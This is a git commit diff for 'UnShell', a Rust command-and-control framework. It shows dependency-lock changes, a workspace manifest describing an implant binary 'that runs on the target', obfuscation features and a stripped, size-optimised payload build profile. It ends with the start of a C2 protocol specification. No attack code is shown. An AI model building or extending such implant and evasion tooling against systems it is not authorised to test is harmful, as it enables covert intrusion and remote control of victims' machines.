mirror of
https://github.com/Astatin3/unshell.git
synced 2026-06-08 22:38:01 -06:00
feat: complete protocol spec and initial implementation
- Write PROTOCOL.md with full wire format spec and 8 real-world scenario
analyses (reconnect, multi-operator, large files, AV evasion, router crash,
malformed packets, future pivoting)
- Rewrite workspace structure:
- unshell lib: protocol types (PacketHeader, TreeRequest/Response,
HandshakeMessage/Ack), Transport trait, TcpTransport, Tree routing
- ush-router: router binary with per-node threads, NodeRegistry with
longest-prefix path matching, packet relay
- ush-payload: implant binary with reconnect loop, module tree, InfoModule
- ush-cli: operator REPL with rustyline, session management, command parser
- Protocol design: two-part rkyv frame [header][payload]; router reads only
header for routing, payload bytes forwarded opaque
- All code documented with doc comments and examples
- Zero warnings, zero errors across entire workspace
- 32 tests pass (unit tests for tree routing, TCP transport, framing,
command parsing, node registry)
This commit is contained in:
Michael Mikovsky
Generated
+155
-74
@@ -55,9 +55,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "2.10.0"
|
||||
version = "2.11.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3"
|
||||
checksum = "c4512299f36f043ab09a583e57bceb5a5aab7a73db1805848e8fef3c9e8c78b3"
|
||||
|
||||
[[package]]
|
||||
name = "block-buffer"
|
||||
@@ -181,6 +181,15 @@ dependencies = [
|
||||
"inout",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "clipboard-win"
|
||||
version = "5.4.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bde03770d3df201d4fb868f2c9c59e66a3e4e2bd06692a0fe701e7103c7e84d4"
|
||||
dependencies = [
|
||||
"error-code",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "core-foundation-sys"
|
||||
version = "0.8.7"
|
||||
@@ -231,12 +240,24 @@ dependencies = [
|
||||
"crypto-common",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "endian-type"
|
||||
version = "0.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "869b0adbda23651a9c5c0c3d270aac9fcb52e8622a8f2b17e57802d7791962f2"
|
||||
|
||||
[[package]]
|
||||
name = "equivalent"
|
||||
version = "1.0.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"
|
||||
|
||||
[[package]]
|
||||
name = "error-code"
|
||||
version = "3.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "dea2df4cf52843e0452895c455a1a2cfbb842a1e7329671acf418fdc53ed4c59"
|
||||
|
||||
[[package]]
|
||||
name = "find-msvc-tools"
|
||||
version = "0.1.8"
|
||||
@@ -283,6 +304,15 @@ version = "1.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e712f64ec3850b98572bffac52e2c6f282b29fe6c5fa6d42334b30be438d95c1"
|
||||
|
||||
[[package]]
|
||||
name = "home"
|
||||
version = "0.5.12"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cc627f471c528ff0c4a49e1d5e60450c8f6461dd6d10ba9dcd3a61d3dff7728d"
|
||||
dependencies = [
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "hybrid-array"
|
||||
version = "0.4.7"
|
||||
@@ -336,12 +366,6 @@ dependencies = [
|
||||
"generic-array",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "itoa"
|
||||
version = "1.0.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "92ecc6618181def0457392ccd0ee51198e065e016d1d527a7ac1b6dc7c1f09d2"
|
||||
|
||||
[[package]]
|
||||
name = "js-sys"
|
||||
version = "0.3.85"
|
||||
@@ -354,9 +378,9 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.180"
|
||||
version = "0.2.185"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bcc35a38544a891a5f7c865aca548a982ccb3b8650a5b06d0fd33a10283c56fc"
|
||||
checksum = "52ff2c0fe9bc6cb6b14a0592c2ff4fa9ceb83eea9db979b0487cd054946a2b8f"
|
||||
|
||||
[[package]]
|
||||
name = "lock_api"
|
||||
@@ -375,9 +399,9 @@ checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
|
||||
|
||||
[[package]]
|
||||
name = "memchr"
|
||||
version = "2.7.6"
|
||||
version = "2.8.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273"
|
||||
checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79"
|
||||
|
||||
[[package]]
|
||||
name = "munge"
|
||||
@@ -399,6 +423,27 @@ dependencies = [
|
||||
"syn 2.0.114",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "nibble_vec"
|
||||
version = "0.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "77a5d83df9f36fe23f0c3648c6bbb8b0298bb5f1939c8f2704431371f4b84d43"
|
||||
dependencies = [
|
||||
"smallvec",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "nix"
|
||||
version = "0.31.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5d6d0705320c1e6ba1d912b5e37cf18071b6c2e9b7fa8215a1e8a7651966f5d3"
|
||||
dependencies = [
|
||||
"bitflags 2.11.1",
|
||||
"cfg-if",
|
||||
"cfg_aliases 0.2.1",
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "num-traits"
|
||||
version = "0.2.19"
|
||||
@@ -490,6 +535,16 @@ version = "5.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f"
|
||||
|
||||
[[package]]
|
||||
name = "radix_trie"
|
||||
version = "0.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3b4431027dcd37fc2a73ef740b5f233aa805897935b8bce0195e41bbf9a3289a"
|
||||
dependencies = [
|
||||
"endian-type",
|
||||
"nibble_vec",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rancor"
|
||||
version = "0.1.1"
|
||||
@@ -534,7 +589,7 @@ version = "0.5.18"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"bitflags 2.11.1",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -612,10 +667,25 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d"
|
||||
|
||||
[[package]]
|
||||
name = "sc"
|
||||
version = "0.2.7"
|
||||
name = "rustyline"
|
||||
version = "18.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "010e18bd3bfd1d45a7e666b236c78720df0d9a7698ebaa9c1c559961eb60a38b"
|
||||
checksum = "4a990b25f351b25139ddc7f21ee3f6f56f86d6846b74ac8fad3a719a287cd4a0"
|
||||
dependencies = [
|
||||
"bitflags 2.11.1",
|
||||
"cfg-if",
|
||||
"clipboard-win",
|
||||
"home",
|
||||
"libc",
|
||||
"log",
|
||||
"memchr",
|
||||
"nix",
|
||||
"radix_trie",
|
||||
"unicode-segmentation",
|
||||
"unicode-width",
|
||||
"utf8parse",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "scopeguard"
|
||||
@@ -623,48 +693,6 @@ version = "1.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
|
||||
|
||||
[[package]]
|
||||
name = "serde"
|
||||
version = "1.0.228"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e"
|
||||
dependencies = [
|
||||
"serde_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_core"
|
||||
version = "1.0.228"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad"
|
||||
dependencies = [
|
||||
"serde_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_derive"
|
||||
version = "1.0.228"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.114",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_json"
|
||||
version = "1.0.149"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86"
|
||||
dependencies = [
|
||||
"itoa",
|
||||
"memchr",
|
||||
"serde",
|
||||
"serde_core",
|
||||
"zmij",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "sha2"
|
||||
version = "0.10.9"
|
||||
@@ -744,6 +772,26 @@ dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "thiserror"
|
||||
version = "2.0.18"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4"
|
||||
dependencies = [
|
||||
"thiserror-impl",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "thiserror-impl"
|
||||
version = "2.0.18"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.114",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tinyvec"
|
||||
version = "1.11.0"
|
||||
@@ -772,26 +820,40 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9312f7c4f6ff9069b165498234ce8be658059c6728633667c526e27dc2cf1df5"
|
||||
|
||||
[[package]]
|
||||
name = "unix-print"
|
||||
version = "0.1.0"
|
||||
name = "unicode-segmentation"
|
||||
version = "1.13.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c50e1866b3de196f1329f6a805771eee750651c83bbebd5dff159e5f033cc16f"
|
||||
dependencies = [
|
||||
"sc",
|
||||
]
|
||||
checksum = "9629274872b2bfaf8d66f5f15725007f635594914870f65218920345aa11aa8c"
|
||||
|
||||
[[package]]
|
||||
name = "unicode-width"
|
||||
version = "0.2.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b4ac048d71ede7ee76d585517add45da530660ef4390e49b098733c6e897f254"
|
||||
|
||||
[[package]]
|
||||
name = "unshell"
|
||||
version = "0.0.0"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"chrono",
|
||||
"crossbeam-channel",
|
||||
"rkyv",
|
||||
"static_init",
|
||||
"unix-print",
|
||||
"thiserror",
|
||||
"ush-obfuscate",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ush-cli"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"crossbeam-channel",
|
||||
"rkyv",
|
||||
"rustyline",
|
||||
"thiserror",
|
||||
"unshell",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ush-obfuscate"
|
||||
version = "0.1.0"
|
||||
@@ -810,12 +872,28 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ush-payload"
|
||||
version = "0.0.0"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"serde_json",
|
||||
"rkyv",
|
||||
"unshell",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ush-router"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"crossbeam-channel",
|
||||
"rkyv",
|
||||
"thiserror",
|
||||
"unshell",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "utf8parse"
|
||||
version = "0.2.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
|
||||
|
||||
[[package]]
|
||||
name = "uuid"
|
||||
version = "1.22.0"
|
||||
@@ -967,6 +1045,15 @@ dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.61.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wit-bindgen"
|
||||
version = "0.51.0"
|
||||
@@ -992,9 +1079,3 @@ dependencies = [
|
||||
"quote",
|
||||
"syn 2.0.114",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zmij"
|
||||
version = "1.0.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "02aae0f83f69aafc94776e879363e9771d7ecbffe2c7fbb6c14c5e00dfe88439"
|
||||
|
||||
+120
-226
@@ -1,93 +1,142 @@
|
||||
cargo-features = ["trim-paths", "panic-immediate-abort"]
|
||||
|
||||
[package]
|
||||
name = "unshell"
|
||||
edition = "2024"
|
||||
|
||||
[workspace.package]
|
||||
version = "0.1.0"
|
||||
edition = "2024"
|
||||
|
||||
authors = ["ASTATIN3"]
|
||||
include = ["LICENSE", "**/*.rs", "Cargo.toml"]
|
||||
# =============================================================================
|
||||
# UnShell Workspace
|
||||
# =============================================================================
|
||||
#
|
||||
# Crate layout:
|
||||
#
|
||||
# unshell — core library: protocol types, transport trait, tree routing
|
||||
# ush-router — the router/relay binary (runs on operator's VPS)
|
||||
# ush-payload — the implant binary (runs on the target)
|
||||
# ush-cli — the operator REPL binary (runs on the operator's machine)
|
||||
# ush-obfuscate — proc-macro crate: compile-time string/code obfuscation
|
||||
# base62 — base62 encoding (used for node IDs)
|
||||
#
|
||||
# Build profiles:
|
||||
# dev — fast compile, debug info
|
||||
# release — optimized
|
||||
# minimize — size-optimized, for the payload binary
|
||||
|
||||
[workspace]
|
||||
members = [
|
||||
# Binaries
|
||||
# "ush-gui",
|
||||
|
||||
# UnShell Binaries
|
||||
# "ush-server",
|
||||
# Core binaries
|
||||
"ush-router",
|
||||
"ush-payload",
|
||||
"ush-cli",
|
||||
|
||||
# Libraries
|
||||
"ush-obfuscate",
|
||||
"base62"
|
||||
"base62",
|
||||
]
|
||||
resolver = "2"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Shared package metadata
|
||||
# ---------------------------------------------------------------------------
|
||||
[workspace.package]
|
||||
version = "0.1.0"
|
||||
edition = "2024"
|
||||
authors = ["ASTATIN3"]
|
||||
license = "MIT"
|
||||
repository = "https://github.com/Astatin3/unshell"
|
||||
include = ["LICENSE", "**/*.rs", "Cargo.toml"]
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Shared dependencies — all crates in the workspace can reference these
|
||||
# with `dep.workspace = true` to get consistent versions.
|
||||
# ---------------------------------------------------------------------------
|
||||
[workspace.dependencies]
|
||||
# Serialisation
|
||||
rkyv = "0.8.15" # zero-copy deserialisation framework
|
||||
serde = { version = "1.0.228", features = ["derive"] }
|
||||
serde_json = "1.0.149"
|
||||
|
||||
# Concurrency
|
||||
crossbeam-channel = "0.5.15" # multi-producer multi-consumer channels
|
||||
|
||||
# Error handling
|
||||
thiserror = "2.0.18" # derive(Error) macro
|
||||
|
||||
# Logging / time
|
||||
chrono = "0.4.42"
|
||||
|
||||
# Utilities
|
||||
static_init = "1.0.4" # safe static initialisation
|
||||
|
||||
# Internal workspace crates (other crates depend on these)
|
||||
unshell = { path = "." }
|
||||
ush-obfuscate = { path = "./ush-obfuscate" }
|
||||
base62 = { path = "./base62" }
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# The unshell core library
|
||||
# ---------------------------------------------------------------------------
|
||||
[package]
|
||||
name = "unshell"
|
||||
version.workspace = true
|
||||
edition.workspace = true
|
||||
description = "UnShell core library: protocol types, transport, and tree routing"
|
||||
|
||||
# The library must be no_std compatible so the payload can use it without
|
||||
# a full standard library. It does, however, link `alloc` (heap allocation).
|
||||
#
|
||||
# Binaries (ush-router, ush-cli) link std and use the library's full API.
|
||||
# The payload binary also links std for now but the library itself is no_std.
|
||||
|
||||
[features]
|
||||
default = []
|
||||
|
||||
# Enable the structured logger (uses chrono for timestamps)
|
||||
log = []
|
||||
log_debug = ["log", "chrono"]
|
||||
log_debug = ["log", "dep:chrono"]
|
||||
|
||||
# Enable TCP transport (requires std). All std binaries enable this.
|
||||
# The payload binary can also enable it; only omit it for bare-metal embedded targets.
|
||||
tcp = []
|
||||
|
||||
# Obfuscation support (compile-time string obfuscation via proc-macro)
|
||||
obfuscate_aes = ["ush-obfuscate/obfuscate_aes"]
|
||||
obfuscate_ref = ["ush-obfuscate/obfuscate_ref"]
|
||||
|
||||
[dependencies]
|
||||
rkyv = { workspace = true }
|
||||
crossbeam-channel = { workspace = true }
|
||||
thiserror = { workspace = true }
|
||||
chrono = { workspace = true, optional = true }
|
||||
# serde = { workspace = true }
|
||||
# serde_json = { workspace = true }
|
||||
|
||||
crossbeam-channel = "0.5.15"
|
||||
|
||||
ush-obfuscate = { path = "./ush-obfuscate" }
|
||||
static_init.workspace = true
|
||||
|
||||
rkyv = "0.8.15"
|
||||
|
||||
unix-print = {version = "0.1.0" }
|
||||
|
||||
# unshell-crypt = {path = "./unshell-crypt"}
|
||||
|
||||
[workspace.dependencies]
|
||||
####
|
||||
# Standard libraries
|
||||
chrono = "0.4.42"
|
||||
|
||||
serde = {version = "1.0.228", features = ["derive"]}
|
||||
serde_json = "1.0.145"
|
||||
|
||||
static_init = "1.0.4"
|
||||
toml = "0.9.9"
|
||||
ush-obfuscate = { workspace = true }
|
||||
static_init = { workspace = true }
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Build profiles
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
[profile.release]
|
||||
opt-level = 2
|
||||
|
||||
# Optimize all dependencies even in debug builds:
|
||||
# Even in debug builds, optimise all dependencies so test runs aren't sluggish.
|
||||
[profile.dev.package."*"]
|
||||
opt-level = 2
|
||||
|
||||
# Payload profile: strip everything possible, optimise for size.
|
||||
# Use with: cargo build --profile minimize -p ush-payload
|
||||
[profile.minimize]
|
||||
inherits = "release"
|
||||
strip = true # Strip symbols from the binary
|
||||
opt-level = "z" # Optimize for size
|
||||
lto = true # Link tree optimization
|
||||
codegen-units = 1
|
||||
strip = true # strip debug symbols and non-essential sections
|
||||
opt-level = "z" # optimise for binary size
|
||||
lto = true # link-time optimisation (cross-crate dead code elim)
|
||||
codegen-units = 1 # single codegen unit for maximum LTO
|
||||
panic = "immediate-abort"
|
||||
debug = false # Remove debug
|
||||
trim-paths="all"
|
||||
|
||||
# ----------------------------------------------------------------------------------------
|
||||
# Lints:
|
||||
debug = false
|
||||
trim-paths = "all" # strip file paths from panic messages
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Lints — applied to the entire workspace
|
||||
# ---------------------------------------------------------------------------
|
||||
[lints]
|
||||
workspace = true
|
||||
|
||||
[workspace.lints.rust]
|
||||
# unsafe_code = "deny"
|
||||
|
||||
elided_lifetimes_in_paths = "warn"
|
||||
future_incompatible = { level = "warn", priority = -1 }
|
||||
nonstandard_style = { level = "warn", priority = -1 }
|
||||
@@ -95,194 +144,39 @@ rust_2018_idioms = { level = "warn", priority = -1 }
|
||||
rust_2021_prelude_collisions = "warn"
|
||||
semicolon_in_expressions_from_macros = "warn"
|
||||
trivial_numeric_casts = "warn"
|
||||
unsafe_op_in_unsafe_fn = "warn" # `unsafe_op_in_unsafe_fn` may become the default in future Rust versions: https://github.com/rust-lang/rust/issues/71668
|
||||
unsafe_op_in_unsafe_fn = "warn"
|
||||
unused_extern_crates = "warn"
|
||||
unused_import_braces = "warn"
|
||||
unused_lifetimes = "warn"
|
||||
|
||||
trivial_casts = "allow"
|
||||
unused_qualifications = "allow"
|
||||
|
||||
|
||||
[workspace.lints.rustdoc]
|
||||
all = "warn"
|
||||
missing_crate_level_docs = "warn"
|
||||
|
||||
|
||||
[workspace.lints.clippy]
|
||||
allow_attributes = "warn"
|
||||
as_ptr_cast_mut = "warn"
|
||||
await_holding_lock = "warn"
|
||||
bool_to_int_with_if = "warn"
|
||||
branches_sharing_code = "warn"
|
||||
char_lit_as_u8 = "warn"
|
||||
checked_conversions = "warn"
|
||||
clear_with_drain = "warn"
|
||||
# --- Correctness ---
|
||||
get_unwrap = "warn"
|
||||
unwrap_used = "warn"
|
||||
indexing_slicing = "warn"
|
||||
# --- Style ---
|
||||
cloned_instead_of_copied = "warn"
|
||||
dbg_macro = "warn"
|
||||
debug_assert_with_mut_call = "warn"
|
||||
default_union_representation = "warn"
|
||||
derive_partial_eq_without_eq = "warn"
|
||||
disallowed_macros = "warn" # See clippy.toml
|
||||
disallowed_methods = "warn" # See clippy.toml
|
||||
disallowed_names = "warn" # See clippy.toml
|
||||
disallowed_script_idents = "warn" # See clippy.toml
|
||||
disallowed_types = "warn" # See clippy.toml
|
||||
doc_comment_double_space_linebreaks = "warn"
|
||||
doc_link_with_quotes = "warn"
|
||||
doc_markdown = "warn"
|
||||
elidable_lifetime_names = "warn"
|
||||
empty_enum = "warn"
|
||||
empty_enum_variants_with_brackets = "warn"
|
||||
empty_line_after_outer_attr = "warn"
|
||||
enum_glob_use = "warn"
|
||||
equatable_if_let = "warn"
|
||||
exit = "warn"
|
||||
expl_impl_clone_on_copy = "warn"
|
||||
explicit_deref_methods = "warn"
|
||||
explicit_into_iter_loop = "warn"
|
||||
explicit_iter_loop = "warn"
|
||||
fallible_impl_from = "warn"
|
||||
filter_map_next = "warn"
|
||||
flat_map_option = "warn"
|
||||
float_cmp_const = "warn"
|
||||
fn_params_excessive_bools = "warn"
|
||||
fn_to_numeric_cast_any = "warn"
|
||||
from_iter_instead_of_collect = "warn"
|
||||
get_unwrap = "warn"
|
||||
if_let_mutex = "warn"
|
||||
ignore_without_reason = "warn"
|
||||
implicit_clone = "warn"
|
||||
implied_bounds_in_impls = "warn"
|
||||
imprecise_flops = "warn"
|
||||
inconsistent_struct_constructor = "warn"
|
||||
index_refutable_slice = "warn"
|
||||
indexing_slicing = "warn"
|
||||
inefficient_to_string = "warn"
|
||||
infinite_loop = "warn"
|
||||
into_iter_without_iter = "warn"
|
||||
invalid_upcast_comparisons = "warn"
|
||||
iter_filter_is_ok = "warn"
|
||||
iter_filter_is_some = "warn"
|
||||
iter_not_returning_iterator = "warn"
|
||||
iter_on_empty_collections = "warn"
|
||||
iter_on_single_items = "warn"
|
||||
iter_over_hash_type = "warn"
|
||||
iter_without_into_iter = "warn"
|
||||
large_digit_groups = "warn"
|
||||
large_include_file = "warn"
|
||||
large_stack_arrays = "warn"
|
||||
large_stack_frames = "warn"
|
||||
large_types_passed_by_value = "warn"
|
||||
let_underscore_must_use = "warn"
|
||||
let_underscore_untyped = "warn"
|
||||
let_unit_value = "warn"
|
||||
linkedlist = "warn"
|
||||
literal_string_with_formatting_args = "warn"
|
||||
lossy_float_literal = "warn"
|
||||
macro_use_imports = "warn"
|
||||
manual_assert = "warn"
|
||||
manual_clamp = "warn"
|
||||
manual_instant_elapsed = "warn"
|
||||
manual_is_power_of_two = "warn"
|
||||
manual_is_variant_and = "warn"
|
||||
manual_let_else = "warn"
|
||||
manual_midpoint = "warn"
|
||||
manual_ok_or = "warn"
|
||||
manual_string_new = "warn"
|
||||
map_err_ignore = "warn"
|
||||
map_flatten = "warn"
|
||||
match_bool = "warn"
|
||||
match_same_arms = "warn"
|
||||
match_wild_err_arm = "warn"
|
||||
match_wildcard_for_single_variants = "warn"
|
||||
mem_forget = "warn"
|
||||
mismatching_type_param_order = "warn"
|
||||
missing_assert_message = "warn"
|
||||
missing_enforced_import_renames = "warn"
|
||||
needless_borrow = "warn"
|
||||
needless_pass_by_value = "warn"
|
||||
str_to_string = "warn"
|
||||
string_to_string = "warn"
|
||||
uninlined_format_args = "warn"
|
||||
use_self = "warn"
|
||||
# --- Documentation ---
|
||||
missing_errors_doc = "warn"
|
||||
missing_safety_doc = "warn"
|
||||
mixed_attributes_style = "warn"
|
||||
mut_mut = "warn"
|
||||
mutex_integer = "warn"
|
||||
needless_borrow = "warn"
|
||||
needless_continue = "warn"
|
||||
needless_for_each = "warn"
|
||||
needless_pass_by_ref_mut = "warn"
|
||||
needless_pass_by_value = "warn"
|
||||
negative_feature_names = "warn"
|
||||
non_std_lazy_statics = "warn"
|
||||
non_zero_suggestions = "warn"
|
||||
nonstandard_macro_braces = "warn"
|
||||
option_as_ref_cloned = "warn"
|
||||
option_option = "warn"
|
||||
path_buf_push_overwrite = "warn"
|
||||
pathbuf_init_then_push = "warn"
|
||||
precedence_bits = "warn"
|
||||
print_stderr = "warn"
|
||||
print_stdout = "warn"
|
||||
ptr_as_ptr = "warn"
|
||||
ptr_cast_constness = "warn"
|
||||
pub_underscore_fields = "warn"
|
||||
pub_without_shorthand = "warn"
|
||||
rc_mutex = "warn"
|
||||
readonly_write_lock = "warn"
|
||||
redundant_type_annotations = "warn"
|
||||
ref_as_ptr = "warn"
|
||||
ref_option_ref = "warn"
|
||||
ref_patterns = "warn"
|
||||
rest_pat_in_fully_bound_structs = "warn"
|
||||
return_and_then = "warn"
|
||||
same_functions_in_if_condition = "warn"
|
||||
semicolon_if_nothing_returned = "warn"
|
||||
set_contains_or_insert = "warn"
|
||||
should_panic_without_expect = "warn"
|
||||
single_char_pattern = "warn"
|
||||
single_match_else = "warn"
|
||||
single_option_map = "warn"
|
||||
str_split_at_newline = "warn"
|
||||
str_to_string = "warn"
|
||||
string_add = "warn"
|
||||
string_add_assign = "warn"
|
||||
string_lit_as_bytes = "warn"
|
||||
string_lit_chars_any = "warn"
|
||||
string_to_string = "warn"
|
||||
suspicious_command_arg_space = "warn"
|
||||
suspicious_xor_used_as_pow = "warn"
|
||||
todo = "warn"
|
||||
too_long_first_doc_paragraph = "warn"
|
||||
too_many_lines = "warn"
|
||||
trailing_empty_array = "warn"
|
||||
trait_duplication_in_bounds = "warn"
|
||||
transmute_ptr_to_ptr = "warn"
|
||||
tuple_array_conversions = "warn"
|
||||
unchecked_duration_subtraction = "warn"
|
||||
undocumented_unsafe_blocks = "warn"
|
||||
unimplemented = "warn"
|
||||
uninhabited_references = "warn"
|
||||
uninlined_format_args = "warn"
|
||||
unnecessary_box_returns = "warn"
|
||||
unnecessary_debug_formatting = "warn"
|
||||
unnecessary_literal_bound = "warn"
|
||||
unnecessary_safety_comment = "warn"
|
||||
unnecessary_safety_doc = "warn"
|
||||
unnecessary_self_imports = "warn"
|
||||
unnecessary_semicolon = "warn"
|
||||
unnecessary_struct_initialization = "warn"
|
||||
unnecessary_wraps = "warn"
|
||||
unnested_or_patterns = "warn"
|
||||
unused_peekable = "warn"
|
||||
unused_rounding = "warn"
|
||||
unused_self = "warn"
|
||||
unused_trait_names = "warn"
|
||||
unwrap_used = "warn"
|
||||
use_self = "warn"
|
||||
useless_let_if_seq = "warn"
|
||||
useless_transmute = "warn"
|
||||
verbose_file_reads = "warn"
|
||||
wildcard_dependencies = "warn"
|
||||
wildcard_imports = "warn"
|
||||
zero_sized_map_values = "warn"
|
||||
|
||||
manual_range_contains = "allow" # this is better on 'allow'
|
||||
map_unwrap_or = "allow" # this is better on 'allow'
|
||||
# --- Complexity ---
|
||||
too_many_lines = "warn"
|
||||
# --- Allowed (intentional style choices) ---
|
||||
manual_range_contains = "allow"
|
||||
map_unwrap_or = "allow"
|
||||
|
||||
+665
@@ -0,0 +1,665 @@
|
||||
# UnShell Network Protocol Specification
|
||||
|
||||
**Version:** 0.1.0
|
||||
**Status:** Draft — implementation in progress
|
||||
**Last updated:** 2026-04-20
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
The UnShell protocol is a **tree-addressed, message-passing protocol** for command
|
||||
and control (C2) operations. It is designed around a homogeneous node model: every
|
||||
participant (payload, operator, router) is structurally identical from the protocol's
|
||||
perspective. Each node owns a set of **paths** in a global tree and responds to
|
||||
requests addressed to those paths.
|
||||
|
||||
```
|
||||
/agents/abc123/shell/exec ← a path owned by payload node "abc123"
|
||||
/agents/abc123/files/read ← another path on the same payload
|
||||
/operator/sess1 ← operator node's own registration path
|
||||
/router/nodes ← router's built-in endpoint
|
||||
```
|
||||
|
||||
A **router** is a dumb relay. It reads the destination path from a packet header and
|
||||
forwards the packet body to whichever node registered that path. It has no application
|
||||
